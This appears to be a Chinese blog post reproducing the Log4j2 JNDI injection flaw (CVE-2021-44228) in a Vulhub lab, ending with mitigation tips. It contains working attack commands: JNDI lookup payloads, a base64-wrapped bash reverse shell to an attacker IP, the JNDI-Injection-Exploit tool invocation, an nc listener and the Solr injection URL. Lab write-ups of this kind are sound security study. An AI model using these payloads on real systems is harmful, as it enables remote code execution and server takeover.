Vulhub靶场-Log4j2

漏洞影响

Apache Log4j 是一个基于Java的日志记录工具。经过多年的开发迭代,Log4j 1.x的维护已经变得非常困难,因为它需要与非常旧的 Java 版本兼容,所以于 2015 年 8 月正式升级为Log4j2。黑客可以恶意构造特殊数据请求包payload触发漏洞,从而可以在目标服务器上执行任意代码,导致服务器被控制。

漏洞编号

CVE-2021-44228

漏洞环境

受害机:centos7      攻击机:kali

漏洞原理

当日志中包含 ${},lookup就会去解析括号里面的内容,如:攻击payload:${jndi:rmi:192.168.96.1:1099/wqiyua} ,当lookup解析到jndi时,就会调用jndi并利用rmi,执行攻击机jndi服务下的class文件并执行,从而造成任意命令执行漏洞

注:如何检测漏洞?

首先在dnslog平台获取一个子域名,尝试构造payload,插入请求数据包${jndi:ldap://bypass.fzuqgl.ceye.io}通过dnslog平台是否收到请求,初步判断目标环境是否存在漏洞

漏洞复现

第一步、我们进入vulhub靶场进入相对应的漏洞环境目录

cd /vulhub-master/log4j/CVE-2021-4428
docker-compose up -d

使用命令启动环境后,页面显示done表示环境启动成功

 第二步、我们查看IP地址和漏洞开启的端口号

ifconfig

 

docker ps

 第三步、我们打开浏览器访问IP加端口号,正确网页看下面这个张图片

 第四步、开始漏洞利用,首先我们需要构造反弹shell的语句

bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

 在线编码网站:Base64 编码/解码 | 菜鸟工具 (jyshare.com)

第五步、我们将shell语句进行编码后,进行构造Payload ,这里需要用到JIND工具

JIND工具下载地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,编码后的shell}|{base64,-d}|{bash,-i}" -A 反弹shell的IP地址

-C 后面的参数是要执行的命令以及编码方式,-A后面就是对应的IP地址

第六步、可以看到有三个服务,看到熟悉的rmi和ldap,实际上这个的作用就是帮我们生成了恶意的代码,并且生成了相对应的URL,然后我们就可以回到靶场网页进行JNDI注入

注:在注入之前我们需要在kali再开一个终端,监控我们反弹shell的端口,这里是 9999

nc -lvvp 9999

 开启监听后返回网页,构造payload

/solr/admin/cores?action=${jndi:rmi://192.168.44.180:1099/flppxx}

第七步、在网页执行后我们返回kali会发现网页已经被重定向到了我们的恶意地址

 这边看到有请求后,我们看nc监听的终端会发现shell已经上线

以上就是Log4j2的漏洞复现全过程 ,谢谢大家的观看!!!

漏洞预防措施

1.禁止用户输入的参数中出现攻击关键字(过滤用户输入)
2.禁止lookup下载远程文件(命名应用)
3.禁止log4j的应用去连接外网
4.禁止log4j使用lookup方法
5.从log4j 的jar包总删除lookup(2.10以下版本)

 

  • 21
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值